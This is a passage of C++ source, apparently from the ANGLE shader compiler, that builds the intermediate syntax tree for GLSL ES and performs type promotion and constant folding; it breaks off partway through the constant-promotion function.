null
null
null
UTF-8
C++
false
false
49,283
cpp
// // Copyright (c) 2002-2012 The ANGLE Project Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // // // Build the intermediate representation. // #include <float.h> #include <limits.h> #include <algorithm> #include "compiler/HashNames.h" #include "compiler/localintermediate.h" #include "compiler/QualifierAlive.h" #include "compiler/RemoveTree.h" bool CompareStructure(const TType& leftNodeType, ConstantUnion* rightUnionArray, ConstantUnion* leftUnionArray); static TPrecision GetHigherPrecision( TPrecision left, TPrecision right ){ return left > right ? left : right; } const char* getOperatorString(TOperator op) { switch (op) { case EOpInitialize: return "="; case EOpAssign: return "="; case EOpAddAssign: return "+="; case EOpSubAssign: return "-="; case EOpDivAssign: return "/="; // Fall-through. case EOpMulAssign: case EOpVectorTimesMatrixAssign: case EOpVectorTimesScalarAssign: case EOpMatrixTimesScalarAssign: case EOpMatrixTimesMatrixAssign: return "*="; // Fall-through. case EOpIndexDirect: case EOpIndexIndirect: return "[]"; case EOpIndexDirectStruct: return "."; case EOpVectorSwizzle: return "."; case EOpAdd: return "+"; case EOpSub: return "-"; case EOpMul: return "*"; case EOpDiv: return "/"; case EOpMod: UNIMPLEMENTED(); break; case EOpEqual: return "=="; case EOpNotEqual: return "!="; case EOpLessThan: return "<"; case EOpGreaterThan: return ">"; case EOpLessThanEqual: return "<="; case EOpGreaterThanEqual: return ">="; // Fall-through. case EOpVectorTimesScalar: case EOpVectorTimesMatrix: case EOpMatrixTimesVector: case EOpMatrixTimesScalar: case EOpMatrixTimesMatrix: return "*"; case EOpLogicalOr: return "||"; case EOpLogicalXor: return "^^"; case EOpLogicalAnd: return "&&"; case EOpNegative: return "-"; case EOpVectorLogicalNot: return "not"; case EOpLogicalNot: return "!"; case EOpPostIncrement: return "++"; case EOpPostDecrement: return "--"; case EOpPreIncrement: return "++"; case EOpPreDecrement: return "--"; // Fall-through. case EOpConvIntToBool: case EOpConvFloatToBool: return "bool"; // Fall-through. case EOpConvBoolToFloat: case EOpConvIntToFloat: return "float"; // Fall-through. case EOpConvFloatToInt: case EOpConvBoolToInt: return "int"; case EOpRadians: return "radians"; case EOpDegrees: return "degrees"; case EOpSin: return "sin"; case EOpCos: return "cos"; case EOpTan: return "tan"; case EOpAsin: return "asin"; case EOpAcos: return "acos"; case EOpAtan: return "atan"; case EOpExp: return "exp"; case EOpLog: return "log"; case EOpExp2: return "exp2"; case EOpLog2: return "log2"; case EOpSqrt: return "sqrt"; case EOpInverseSqrt: return "inversesqrt"; case EOpAbs: return "abs"; case EOpSign: return "sign"; case EOpFloor: return "floor"; case EOpCeil: return "ceil"; case EOpFract: return "fract"; case EOpLength: return "length"; case EOpNormalize: return "normalize"; case EOpDFdx: return "dFdx"; case EOpDFdy: return "dFdy"; case EOpFwidth: return "fwidth"; case EOpAny: return "any"; case EOpAll: return "all"; default: break; } return ""; } //////////////////////////////////////////////////////////////////////////// // // First set of functions are to help build the intermediate representation. // These functions are not member functions of the nodes. // They are called from parser productions. // ///////////////////////////////////////////////////////////////////////////// // // Add a terminal node for an identifier in an expression. // // Returns the added node. // TIntermSymbol* TIntermediate::addSymbol(int id, const TString& name, const TType& type, TSourceLoc line) { TIntermSymbol* node = new TIntermSymbol(id, name, type); node->setLine(line); return node; } // // Connect two nodes with a new parent that does a binary operation on the nodes. // // Returns the added node. // TIntermTyped* TIntermediate::addBinaryMath(TOperator op, TIntermTyped* left, TIntermTyped* right, TSourceLoc line, TSymbolTable& symbolTable) { switch (op) { case EOpEqual: case EOpNotEqual: if (left->isArray()) return 0; break; case EOpLessThan: case EOpGreaterThan: case EOpLessThanEqual: case EOpGreaterThanEqual: if (left->isMatrix() || left->isArray() || left->isVector() || left->getBasicType() == EbtStruct) { return 0; } break; case EOpLogicalOr: case EOpLogicalXor: case EOpLogicalAnd: if (left->getBasicType() != EbtBool || left->isMatrix() || left->isArray() || left->isVector()) { return 0; } break; case EOpAdd: case EOpSub: case EOpDiv: case EOpMul: if (left->getBasicType() == EbtStruct || left->getBasicType() == EbtBool) return 0; default: break; } // // First try converting the children to compatible types. // if (left->getType().getStruct() && right->getType().getStruct()) { if (left->getType() != right->getType()) return 0; } else { TIntermTyped* child = addConversion(op, left->getType(), right); if (child) right = child; else { child = addConversion(op, right->getType(), left); if (child) left = child; else return 0; } } // // Need a new node holding things together then. Make // one and promote it to the right type. // TIntermBinary* node = new TIntermBinary(op); if (line == 0) line = right->getLine(); node->setLine(line); node->setLeft(left); node->setRight(right); if (!node->promote(infoSink)) return 0; // // See if we can fold constants. // TIntermTyped* typedReturnNode = 0; TIntermConstantUnion *leftTempConstant = left->getAsConstantUnion(); TIntermConstantUnion *rightTempConstant = right->getAsConstantUnion(); if (leftTempConstant && rightTempConstant) { typedReturnNode = leftTempConstant->fold(node->getOp(), rightTempConstant, infoSink); if (typedReturnNode) return typedReturnNode; } return node; } // // Connect two nodes through an assignment. // // Returns the added node. // TIntermTyped* TIntermediate::addAssign(TOperator op, TIntermTyped* left, TIntermTyped* right, TSourceLoc line) { // // Like adding binary math, except the conversion can only go // from right to left. // TIntermBinary* node = new TIntermBinary(op); if (line == 0) line = left->getLine(); node->setLine(line); TIntermTyped* child = addConversion(op, left->getType(), right); if (child == 0) return 0; node->setLeft(left); node->setRight(child); if (! node->promote(infoSink)) return 0; return node; } // // Connect two nodes through an index operator, where the left node is the base // of an array or struct, and the right node is a direct or indirect offset. // // Returns the added node. // The caller should set the type of the returned node. // TIntermTyped* TIntermediate::addIndex(TOperator op, TIntermTyped* base, TIntermTyped* index, TSourceLoc line) { TIntermBinary* node = new TIntermBinary(op); if (line == 0) line = index->getLine(); node->setLine(line); node->setLeft(base); node->setRight(index); // caller should set the type return node; } // // Add one node as the parent of another that it operates on. // // Returns the added node. // TIntermTyped* TIntermediate::addUnaryMath(TOperator op, TIntermNode* childNode, TSourceLoc line, TSymbolTable& symbolTable) { TIntermUnary* node; TIntermTyped* child = childNode->getAsTyped(); if (child == 0) { infoSink.info.message(EPrefixInternalError, "Bad type in AddUnaryMath", line); return 0; } switch (op) { case EOpLogicalNot: if (child->getType().getBasicType() != EbtBool || child->getType().isMatrix() || child->getType().isArray() || child->getType().isVector()) { return 0; } break; case EOpPostIncrement: case EOpPreIncrement: case EOpPostDecrement: case EOpPreDecrement: case EOpNegative: if (child->getType().getBasicType() == EbtStruct || child->getType().isArray()) return 0; default: break; } // // Do we need to promote the operand? // // Note: Implicit promotions were removed from the language. // TBasicType newType = EbtVoid; switch (op) { case EOpConstructInt: newType = EbtInt; break; case EOpConstructBool: newType = EbtBool; break; case EOpConstructFloat: newType = EbtFloat; break; default: break; } if (newType != EbtVoid) { child = addConversion(op, TType(newType, child->getPrecision(), EvqTemporary, child->getNominalSize(), child->isMatrix(), child->isArray()), child); if (child == 0) return 0; } // // For constructors, we are now done, it's all in the conversion. // switch (op) { case EOpConstructInt: case EOpConstructBool: case EOpConstructFloat: return child; default: break; } TIntermConstantUnion *childTempConstant = 0; if (child->getAsConstantUnion()) childTempConstant = child->getAsConstantUnion(); // // Make a new node for the operator. // node = new TIntermUnary(op); if (line == 0) line = child->getLine(); node->setLine(line); node->setOperand(child); if (! node->promote(infoSink)) return 0; if (childTempConstant) { TIntermTyped* newChild = childTempConstant->fold(op, 0, infoSink); if (newChild) return newChild; } return node; } // // This is the safe way to change the operator on an aggregate, as it // does lots of error checking and fixing. Especially for establishing // a function call's operation on it's set of parameters. Sequences // of instructions are also aggregates, but they just direnctly set // their operator to EOpSequence. // // Returns an aggregate node, which could be the one passed in if // it was already an aggregate but no operator was set. // TIntermAggregate* TIntermediate::setAggregateOperator(TIntermNode* node, TOperator op, TSourceLoc line) { TIntermAggregate* aggNode; // // Make sure we have an aggregate. If not turn it into one. // if (node) { aggNode = node->getAsAggregate(); if (aggNode == 0 || aggNode->getOp() != EOpNull) { // // Make an aggregate containing this node. // aggNode = new TIntermAggregate(); aggNode->getSequence().push_back(node); if (line == 0) line = node->getLine(); } } else aggNode = new TIntermAggregate(); // // Set the operator. // aggNode->setOp(op); if (line != 0) aggNode->setLine(line); return aggNode; } // // Convert one type to another. // // Returns the node representing the conversion, which could be the same // node passed in if no conversion was needed. // // Return 0 if a conversion can't be done. // TIntermTyped* TIntermediate::addConversion(TOperator op, const TType& type, TIntermTyped* node) { // // Does the base type allow operation? // switch (node->getBasicType()) { case EbtVoid: case EbtSampler2D: case EbtSamplerCube: return 0; default: break; } // // Otherwise, if types are identical, no problem // if (type == node->getType()) return node; // // If one's a structure, then no conversions. // if (type.getStruct() || node->getType().getStruct()) return 0; // // If one's an array, then no conversions. // if (type.isArray() || node->getType().isArray()) return 0; TBasicType promoteTo; switch (op) { // // Explicit conversions // case EOpConstructBool: promoteTo = EbtBool; break; case EOpConstructFloat: promoteTo = EbtFloat; break; case EOpConstructInt: promoteTo = EbtInt; break; default: // // implicit conversions were removed from the language. // if (type.getBasicType() != node->getType().getBasicType()) return 0; // // Size and structure could still differ, but that's // handled by operator promotion. // return node; } if (node->getAsConstantUnion()) { return (promoteConstantUnion(promoteTo, node->getAsConstantUnion())); } else { // // Add a new newNode for the conversion. // TIntermUnary* newNode = 0; TOperator newOp = EOpNull; switch (promoteTo) { case EbtFloat: switch (node->getBasicType()) { case EbtInt: newOp = EOpConvIntToFloat; break; case EbtBool: newOp = EOpConvBoolToFloat; break; default: infoSink.info.message(EPrefixInternalError, "Bad promotion node", node->getLine()); return 0; } break; case EbtBool: switch (node->getBasicType()) { case EbtInt: newOp = EOpConvIntToBool; break; case EbtFloat: newOp = EOpConvFloatToBool; break; default: infoSink.info.message(EPrefixInternalError, "Bad promotion node", node->getLine()); return 0; } break; case EbtInt: switch (node->getBasicType()) { case EbtBool: newOp = EOpConvBoolToInt; break; case EbtFloat: newOp = EOpConvFloatToInt; break; default: infoSink.info.message(EPrefixInternalError, "Bad promotion node", node->getLine()); return 0; } break; default: infoSink.info.message(EPrefixInternalError, "Bad promotion type", node->getLine()); return 0; } TType type(promoteTo, node->getPrecision(), EvqTemporary, node->getNominalSize(), node->isMatrix(), node->isArray()); newNode = new TIntermUnary(newOp, type); newNode->setLine(node->getLine()); newNode->setOperand(node); return newNode; } } // // Safe way to combine two nodes into an aggregate. Works with null pointers, // a node that's not a aggregate yet, etc. // // Returns the resulting aggregate, unless 0 was passed in for // both existing nodes. // TIntermAggregate* TIntermediate::growAggregate(TIntermNode* left, TIntermNode* right, TSourceLoc line) { if (left == 0 && right == 0) return 0; TIntermAggregate* aggNode = 0; if (left) aggNode = left->getAsAggregate(); if (!aggNode || aggNode->getOp() != EOpNull) { aggNode = new TIntermAggregate; if (left) aggNode->getSequence().push_back(left); } if (right) aggNode->getSequence().push_back(right); if (line != 0) aggNode->setLine(line); return aggNode; } // // Turn an existing node into an aggregate. // // Returns an aggregate, unless 0 was passed in for the existing node. // TIntermAggregate* TIntermediate::makeAggregate(TIntermNode* node, TSourceLoc line) { if (node == 0) return 0; TIntermAggregate* aggNode = new TIntermAggregate; aggNode->getSequence().push_back(node); if (line != 0) aggNode->setLine(line); else aggNode->setLine(node->getLine()); return aggNode; } // // For "if" test nodes. There are three children; a condition, // a true path, and a false path. The two paths are in the // nodePair. // // Returns the selection node created. // TIntermNode* TIntermediate::addSelection(TIntermTyped* cond, TIntermNodePair nodePair, TSourceLoc line) { // // For compile time constant selections, prune the code and // test now. // if (cond->getAsTyped() && cond->getAsTyped()->getAsConstantUnion()) { if (cond->getAsTyped()->getAsConstantUnion()->getUnionArrayPointer()->getBConst() == true) return nodePair.node1 ? setAggregateOperator(nodePair.node1, EOpSequence, nodePair.node1->getLine()) : NULL; else return nodePair.node2 ? setAggregateOperator(nodePair.node2, EOpSequence, nodePair.node2->getLine()) : NULL; } TIntermSelection* node = new TIntermSelection(cond, nodePair.node1, nodePair.node2); node->setLine(line); return node; } TIntermTyped* TIntermediate::addComma(TIntermTyped* left, TIntermTyped* right, TSourceLoc line) { if (left->getType().getQualifier() == EvqConst && right->getType().getQualifier() == EvqConst) { return right; } else { TIntermTyped *commaAggregate = growAggregate(left, right, line); commaAggregate->getAsAggregate()->setOp(EOpComma); commaAggregate->setType(right->getType()); commaAggregate->getTypePointer()->setQualifier(EvqTemporary); return commaAggregate; } } // // For "?:" test nodes. There are three children; a condition, // a true path, and a false path. The two paths are specified // as separate parameters. // // Returns the selection node created, or 0 if one could not be. // TIntermTyped* TIntermediate::addSelection(TIntermTyped* cond, TIntermTyped* trueBlock, TIntermTyped* falseBlock, TSourceLoc line) { // // Get compatible types. // TIntermTyped* child = addConversion(EOpSequence, trueBlock->getType(), falseBlock); if (child) falseBlock = child; else { child = addConversion(EOpSequence, falseBlock->getType(), trueBlock); if (child) trueBlock = child; else return 0; } // // See if all the operands are constant, then fold it otherwise not. // if (cond->getAsConstantUnion() && trueBlock->getAsConstantUnion() && falseBlock->getAsConstantUnion()) { if (cond->getAsConstantUnion()->getUnionArrayPointer()->getBConst()) return trueBlock; else return falseBlock; } // // Make a selection node. // TIntermSelection* node = new TIntermSelection(cond, trueBlock, falseBlock, trueBlock->getType()); node->getTypePointer()->setQualifier(EvqTemporary); node->setLine(line); return node; } // // Constant terminal nodes. Has a union that contains bool, float or int constants // // Returns the constant union node created. // TIntermConstantUnion* TIntermediate::addConstantUnion(ConstantUnion* unionArrayPointer, const TType& t, TSourceLoc line) { TIntermConstantUnion* node = new TIntermConstantUnion(unionArrayPointer, t); node->setLine(line); return node; } TIntermTyped* TIntermediate::addSwizzle(TVectorFields& fields, TSourceLoc line) { TIntermAggregate* node = new TIntermAggregate(EOpSequence); node->setLine(line); TIntermConstantUnion* constIntNode; TIntermSequence &sequenceVector = node->getSequence(); ConstantUnion* unionArray; for (int i = 0; i < fields.num; i++) { unionArray = new ConstantUnion[1]; unionArray->setIConst(fields.offsets[i]); constIntNode = addConstantUnion(unionArray, TType(EbtInt, EbpUndefined, EvqConst), line); sequenceVector.push_back(constIntNode); } return node; } // // Create loop nodes. // TIntermNode* TIntermediate::addLoop(TLoopType type, TIntermNode* init, TIntermTyped* cond, TIntermTyped* expr, TIntermNode* body, TSourceLoc line) { TIntermNode* node = new TIntermLoop(type, init, cond, expr, body); node->setLine(line); return node; } // // Add branches. // TIntermBranch* TIntermediate::addBranch(TOperator branchOp, TSourceLoc line) { return addBranch(branchOp, 0, line); } TIntermBranch* TIntermediate::addBranch(TOperator branchOp, TIntermTyped* expression, TSourceLoc line) { TIntermBranch* node = new TIntermBranch(branchOp, expression); node->setLine(line); return node; } // // This is to be executed once the final root is put on top by the parsing // process. // bool TIntermediate::postProcess(TIntermNode* root) { if (root == 0) return true; // // First, finish off the top level sequence, if any // TIntermAggregate* aggRoot = root->getAsAggregate(); if (aggRoot && aggRoot->getOp() == EOpNull) aggRoot->setOp(EOpSequence); return true; } // // This deletes the tree. // void TIntermediate::remove(TIntermNode* root) { if (root) RemoveAllTreeNodes(root); } //////////////////////////////////////////////////////////////// // // Member functions of the nodes used for building the tree. // //////////////////////////////////////////////////////////////// // // Say whether or not an operation node changes the value of a variable. // // Returns true if state is modified. // bool TIntermOperator::modifiesState() const { switch (op) { case EOpPostIncrement: case EOpPostDecrement: case EOpPreIncrement: case EOpPreDecrement: case EOpAssign: case EOpAddAssign: case EOpSubAssign: case EOpMulAssign: case EOpVectorTimesMatrixAssign: case EOpVectorTimesScalarAssign: case EOpMatrixTimesScalarAssign: case EOpMatrixTimesMatrixAssign: case EOpDivAssign: return true; default: return false; } } // // returns true if the operator is for one of the constructors // bool TIntermOperator::isConstructor() const { switch (op) { case EOpConstructVec2: case EOpConstructVec3: case EOpConstructVec4: case EOpConstructMat2: case EOpConstructMat3: case EOpConstructMat4: case EOpConstructFloat: case EOpConstructIVec2: case EOpConstructIVec3: case EOpConstructIVec4: case EOpConstructInt: case EOpConstructBVec2: case EOpConstructBVec3: case EOpConstructBVec4: case EOpConstructBool: case EOpConstructStruct: return true; default: return false; } } // // Make sure the type of a unary operator is appropriate for its // combination of operation and operand type. // // Returns false in nothing makes sense. // bool TIntermUnary::promote(TInfoSink&) { switch (op) { case EOpLogicalNot: if (operand->getBasicType() != EbtBool) return false; break; case EOpNegative: case EOpPostIncrement: case EOpPostDecrement: case EOpPreIncrement: case EOpPreDecrement: if (operand->getBasicType() == EbtBool) return false; break; // operators for built-ins are already type checked against their prototype case EOpAny: case EOpAll: case EOpVectorLogicalNot: return true; default: if (operand->getBasicType() != EbtFloat) return false; } setType(operand->getType()); return true; } // // Establishes the type of the resultant operation, as well as // makes the operator the correct one for the operands. // // Returns false if operator can't work on operands. // bool TIntermBinary::promote(TInfoSink& infoSink) { // This function only handles scalars, vectors, and matrices. if (left->isArray() || right->isArray()) { infoSink.info.message(EPrefixInternalError, "Invalid operation for arrays", getLine()); return false; } // GLSL ES 2.0 does not support implicit type casting. // So the basic type should always match. if (left->getBasicType() != right->getBasicType()) return false; // // Base assumption: just make the type the same as the left // operand. Then only deviations from this need be coded. // setType(left->getType()); // The result gets promoted to the highest precision. TPrecision higherPrecision = GetHigherPrecision(left->getPrecision(), right->getPrecision()); getTypePointer()->setPrecision(higherPrecision); // Binary operations results in temporary variables unless both // operands are const. if (left->getQualifier() != EvqConst || right->getQualifier() != EvqConst) { getTypePointer()->setQualifier(EvqTemporary); } int size = std::max(left->getNominalSize(), right->getNominalSize()); // // All scalars. Code after this test assumes this case is removed! // if (size == 1) { switch (op) { // // Promote to conditional // case EOpEqual: case EOpNotEqual: case EOpLessThan: case EOpGreaterThan: case EOpLessThanEqual: case EOpGreaterThanEqual: setType(TType(EbtBool, EbpUndefined)); break; // // And and Or operate on conditionals // case EOpLogicalAnd: case EOpLogicalOr: // Both operands must be of type bool. if (left->getBasicType() != EbtBool || right->getBasicType() != EbtBool) return false; setType(TType(EbtBool, EbpUndefined)); break; default: break; } return true; } // If we reach here, at least one of the operands is vector or matrix. // The other operand could be a scalar, vector, or matrix. // Are the sizes compatible? // if (left->getNominalSize() != right->getNominalSize()) { // If the nominal size of operands do not match: // One of them must be scalar. if (left->getNominalSize() != 1 && right->getNominalSize() != 1) return false; // Operator cannot be of type pure assignment. if (op == EOpAssign || op == EOpInitialize) return false; } // // Can these two operands be combined? // TBasicType basicType = left->getBasicType(); switch (op) { case EOpMul: if (!left->isMatrix() && right->isMatrix()) { if (left->isVector()) op = EOpVectorTimesMatrix; else { op = EOpMatrixTimesScalar; setType(TType(basicType, higherPrecision, EvqTemporary, size, true)); } } else if (left->isMatrix() && !right->isMatrix()) { if (right->isVector()) { op = EOpMatrixTimesVector; setType(TType(basicType, higherPrecision, EvqTemporary, size, false)); } else { op = EOpMatrixTimesScalar; } } else if (left->isMatrix() && right->isMatrix()) { op = EOpMatrixTimesMatrix; } else if (!left->isMatrix() && !right->isMatrix()) { if (left->isVector() && right->isVector()) { // leave as component product } else if (left->isVector() || right->isVector()) { op = EOpVectorTimesScalar; setType(TType(basicType, higherPrecision, EvqTemporary, size, false)); } } else { infoSink.info.message(EPrefixInternalError, "Missing elses", getLine()); return false; } break; case EOpMulAssign: if (!left->isMatrix() && right->isMatrix()) { if (left->isVector()) op = EOpVectorTimesMatrixAssign; else { return false; } } else if (left->isMatrix() && !right->isMatrix()) { if (right->isVector()) { return false; } else { op = EOpMatrixTimesScalarAssign; } } else if (left->isMatrix() && right->isMatrix()) { op = EOpMatrixTimesMatrixAssign; } else if (!left->isMatrix() && !right->isMatrix()) { if (left->isVector() && right->isVector()) { // leave as component product } else if (left->isVector() || right->isVector()) { if (! left->isVector()) return false; op = EOpVectorTimesScalarAssign; setType(TType(basicType, higherPrecision, EvqTemporary, size, false)); } } else { infoSink.info.message(EPrefixInternalError, "Missing elses", getLine()); return false; } break; case EOpAssign: case EOpInitialize: case EOpAdd: case EOpSub: case EOpDiv: case EOpAddAssign: case EOpSubAssign: case EOpDivAssign: if ((left->isMatrix() && right->isVector()) || (left->isVector() && right->isMatrix())) return false; setType(TType(basicType, higherPrecision, EvqTemporary, size, left->isMatrix() || right->isMatrix())); break; case EOpEqual: case EOpNotEqual: case EOpLessThan: case EOpGreaterThan: case EOpLessThanEqual: case EOpGreaterThanEqual: if ((left->isMatrix() && right->isVector()) || (left->isVector() && right->isMatrix())) return false; setType(TType(EbtBool, EbpUndefined)); break; default: return false; } return true; } bool CompareStruct(const TType& leftNodeType, ConstantUnion* rightUnionArray, ConstantUnion* leftUnionArray) { const TTypeList* fields = leftNodeType.getStruct(); size_t structSize = fields->size(); int index = 0; for (size_t j = 0; j < structSize; j++) { int size = (*fields)[j].type->getObjectSize(); for (int i = 0; i < size; i++) { if ((*fields)[j].type->getBasicType() == EbtStruct) { if (!CompareStructure(*(*fields)[j].type, &rightUnionArray[index], &leftUnionArray[index])) return false; } else { if (leftUnionArray[index] != rightUnionArray[index]) return false; index++; } } } return true; } bool CompareStructure(const TType& leftNodeType, ConstantUnion* rightUnionArray, ConstantUnion* leftUnionArray) { if (leftNodeType.isArray()) { TType typeWithoutArrayness = leftNodeType; typeWithoutArrayness.clearArrayness(); int arraySize = leftNodeType.getArraySize(); for (int i = 0; i < arraySize; ++i) { int offset = typeWithoutArrayness.getObjectSize() * i; if (!CompareStruct(typeWithoutArrayness, &rightUnionArray[offset], &leftUnionArray[offset])) return false; } } else return CompareStruct(leftNodeType, rightUnionArray, leftUnionArray); return true; } // // The fold functions see if an operation on a constant can be done in place, // without generating run-time code. // // Returns the node to keep using, which may or may not be the node passed in. // TIntermTyped* TIntermConstantUnion::fold(TOperator op, TIntermTyped* constantNode, TInfoSink& infoSink) { ConstantUnion *unionArray = getUnionArrayPointer(); int objectSize = getType().getObjectSize(); if (constantNode) { // binary operations TIntermConstantUnion *node = constantNode->getAsConstantUnion(); ConstantUnion *rightUnionArray = node->getUnionArrayPointer(); TType returnType = getType(); // for a case like float f = 1.2 + vec4(2,3,4,5); if (constantNode->getType().getObjectSize() == 1 && objectSize > 1) { rightUnionArray = new ConstantUnion[objectSize]; for (int i = 0; i < objectSize; ++i) rightUnionArray[i] = *node->getUnionArrayPointer(); returnType = getType(); } else if (constantNode->getType().getObjectSize() > 1 && objectSize == 1) { // for a case like float f = vec4(2,3,4,5) + 1.2; unionArray = new ConstantUnion[constantNode->getType().getObjectSize()]; for (int i = 0; i < constantNode->getType().getObjectSize(); ++i) unionArray[i] = *getUnionArrayPointer(); returnType = node->getType(); objectSize = constantNode->getType().getObjectSize(); } ConstantUnion* tempConstArray = 0; TIntermConstantUnion *tempNode; bool boolNodeFlag = false; switch(op) { case EOpAdd: tempConstArray = new ConstantUnion[objectSize]; {// support MSVC++6.0 for (int i = 0; i < objectSize; i++) tempConstArray[i] = unionArray[i] + rightUnionArray[i]; } break; case EOpSub: tempConstArray = new ConstantUnion[objectSize]; {// support MSVC++6.0 for (int i = 0; i < objectSize; i++) tempConstArray[i] = unionArray[i] - rightUnionArray[i]; } break; case EOpMul: case EOpVectorTimesScalar: case EOpMatrixTimesScalar: tempConstArray = new ConstantUnion[objectSize]; {// support MSVC++6.0 for (int i = 0; i < objectSize; i++) tempConstArray[i] = unionArray[i] * rightUnionArray[i]; } break; case EOpMatrixTimesMatrix: if (getType().getBasicType() != EbtFloat || node->getBasicType() != EbtFloat) { infoSink.info.message(EPrefixInternalError, "Constant Folding cannot be done for matrix multiply", getLine()); return 0; } {// support MSVC++6.0 int size = getNominalSize(); tempConstArray = new ConstantUnion[size*size]; for (int row = 0; row < size; row++) { for (int column = 0; column < size; column++) { tempConstArray[size * column + row].setFConst(0.0f); for (int i = 0; i < size; i++) { tempConstArray[size * column + row].setFConst(tempConstArray[size * column + row].getFConst() + unionArray[i * size + row].getFConst() * (rightUnionArray[column * size + i].getFConst())); } } } } break; case EOpDiv: tempConstArray = new ConstantUnion[objectSize]; {// support MSVC++6.0 for (int i = 0; i < objectSize; i++) { switch (getType().getBasicType()) { case EbtFloat: if (rightUnionArray[i] == 0.0f) { infoSink.info.message(EPrefixWarning, "Divide by zero error during constant folding", getLine()); tempConstArray[i].setFConst(FLT_MAX); } else tempConstArray[i].setFConst(unionArray[i].getFConst() / rightUnionArray[i].getFConst()); break; case EbtInt: if (rightUnionArray[i] == 0) { infoSink.info.message(EPrefixWarning, "Divide by zero error during constant folding", getLine()); tempConstArray[i].setIConst(INT_MAX); } else tempConstArray[i].setIConst(unionArray[i].getIConst() / rightUnionArray[i].getIConst()); break; default: infoSink.info.message(EPrefixInternalError, "Constant folding cannot be done for \"/\"", getLine()); return 0; } } } break; case EOpMatrixTimesVector: if (node->getBasicType() != EbtFloat) { infoSink.info.message(EPrefixInternalError, "Constant Folding cannot be done for matrix times vector", getLine()); return 0; } tempConstArray = new ConstantUnion[getNominalSize()]; {// support MSVC++6.0 for (int size = getNominalSize(), i = 0; i < size; i++) { tempConstArray[i].setFConst(0.0f); for (int j = 0; j < size; j++) { tempConstArray[i].setFConst(tempConstArray[i].getFConst() + ((unionArray[j*size + i].getFConst()) * rightUnionArray[j].getFConst())); } } } tempNode = new TIntermConstantUnion(tempConstArray, node->getType()); tempNode->setLine(getLine()); return tempNode; case EOpVectorTimesMatrix: if (getType().getBasicType() != EbtFloat) { infoSink.info.message(EPrefixInternalError, "Constant Folding cannot be done for vector times matrix", getLine()); return 0; } tempConstArray = new ConstantUnion[getNominalSize()]; {// support MSVC++6.0 for (int size = getNominalSize(), i = 0; i < size; i++) { tempConstArray[i].setFConst(0.0f); for (int j = 0; j < size; j++) { tempConstArray[i].setFConst(tempConstArray[i].getFConst() + ((unionArray[j].getFConst()) * rightUnionArray[i*size + j].getFConst())); } } } break; case EOpLogicalAnd: // this code is written for possible future use, will not get executed currently tempConstArray = new ConstantUnion[objectSize]; {// support MSVC++6.0 for (int i = 0; i < objectSize; i++) tempConstArray[i] = unionArray[i] && rightUnionArray[i]; } break; case EOpLogicalOr: // this code is written for possible future use, will not get executed currently tempConstArray = new ConstantUnion[objectSize]; {// support MSVC++6.0 for (int i = 0; i < objectSize; i++) tempConstArray[i] = unionArray[i] || rightUnionArray[i]; } break; case EOpLogicalXor: tempConstArray = new ConstantUnion[objectSize]; {// support MSVC++6.0 for (int i = 0; i < objectSize; i++) switch (getType().getBasicType()) { case EbtBool: tempConstArray[i].setBConst((unionArray[i] == rightUnionArray[i]) ? false : true); break; default: assert(false && "Default missing"); } } break; case EOpLessThan: assert(objectSize == 1); tempConstArray = new ConstantUnion[1]; tempConstArray->setBConst(*unionArray < *rightUnionArray); returnType = TType(EbtBool, EbpUndefined, EvqConst); break; case EOpGreaterThan: assert(objectSize == 1); tempConstArray = new ConstantUnion[1]; tempConstArray->setBConst(*unionArray > *rightUnionArray); returnType = TType(EbtBool, EbpUndefined, EvqConst); break; case EOpLessThanEqual: { assert(objectSize == 1); ConstantUnion constant; constant.setBConst(*unionArray > *rightUnionArray); tempConstArray = new ConstantUnion[1]; tempConstArray->setBConst(!constant.getBConst()); returnType = TType(EbtBool, EbpUndefined, EvqConst); break; } case EOpGreaterThanEqual: { assert(objectSize == 1); ConstantUnion constant; constant.setBConst(*unionArray < *rightUnionArray); tempConstArray = new ConstantUnion[1]; tempConstArray->setBConst(!constant.getBConst()); returnType = TType(EbtBool, EbpUndefined, EvqConst); break; } case EOpEqual: if (getType().getBasicType() == EbtStruct) { if (!CompareStructure(node->getType(), node->getUnionArrayPointer(), unionArray)) boolNodeFlag = true; } else { for (int i = 0; i < objectSize; i++) { if (unionArray[i] != rightUnionArray[i]) { boolNodeFlag = true; break; // break out of for loop } } } tempConstArray = new ConstantUnion[1]; if (!boolNodeFlag) { tempConstArray->setBConst(true); } else { tempConstArray->setBConst(false); } tempNode = new TIntermConstantUnion(tempConstArray, TType(EbtBool, EbpUndefined, EvqConst)); tempNode->setLine(getLine()); return tempNode; case EOpNotEqual: if (getType().getBasicType() == EbtStruct) { if (CompareStructure(node->getType(), node->getUnionArrayPointer(), unionArray)) boolNodeFlag = true; } else { for (int i = 0; i < objectSize; i++) { if (unionArray[i] == rightUnionArray[i]) { boolNodeFlag = true; break; // break out of for loop } } } tempConstArray = new ConstantUnion[1]; if (!boolNodeFlag) { tempConstArray->setBConst(true); } else { tempConstArray->setBConst(false); } tempNode = new TIntermConstantUnion(tempConstArray, TType(EbtBool, EbpUndefined, EvqConst)); tempNode->setLine(getLine()); return tempNode; default: infoSink.info.message(EPrefixInternalError, "Invalid operator for constant folding", getLine()); return 0; } tempNode = new TIntermConstantUnion(tempConstArray, returnType); tempNode->setLine(getLine()); return tempNode; } else { // // Do unary operations // TIntermConstantUnion *newNode = 0; ConstantUnion* tempConstArray = new ConstantUnion[objectSize]; for (int i = 0; i < objectSize; i++) { switch(op) { case EOpNegative: switch (getType().getBasicType()) { case EbtFloat: tempConstArray[i].setFConst(-unionArray[i].getFConst()); break; case EbtInt: tempConstArray[i].setIConst(-unionArray[i].getIConst()); break; default: infoSink.info.message(EPrefixInternalError, "Unary operation not folded into constant", getLine()); return 0; } break; case EOpLogicalNot: // this code is written for possible future use, will not get executed currently switch (getType().getBasicType()) { case EbtBool: tempConstArray[i].setBConst(!unionArray[i].getBConst()); break; default: infoSink.info.message(EPrefixInternalError, "Unary operation not folded into constant", getLine()); return 0; } break; default: return 0; } } newNode = new TIntermConstantUnion(tempConstArray, getType()); newNode->setLine(getLine()); return newNode; } } TIntermTyped* TIntermediate::promoteConstantUnion(TBasicType promoteTo, TIntermConstantUnion* node) { ConstantUnion *rightUnionArray = node->getUnionArrayPointer(); int size = node->getType().getObjectSize(); ConstantUnion *leftUnionArray = new ConstantUnion[size]; for (int i=0; i < size; i++) { switch (promoteTo) { case EbtFloat: switch (node->getType().getBasicType()) { case EbtInt: leftUnionArray[i].setFConst(static_cast<float>(rightUnionArray[i].getIConst())); break; case EbtBool: 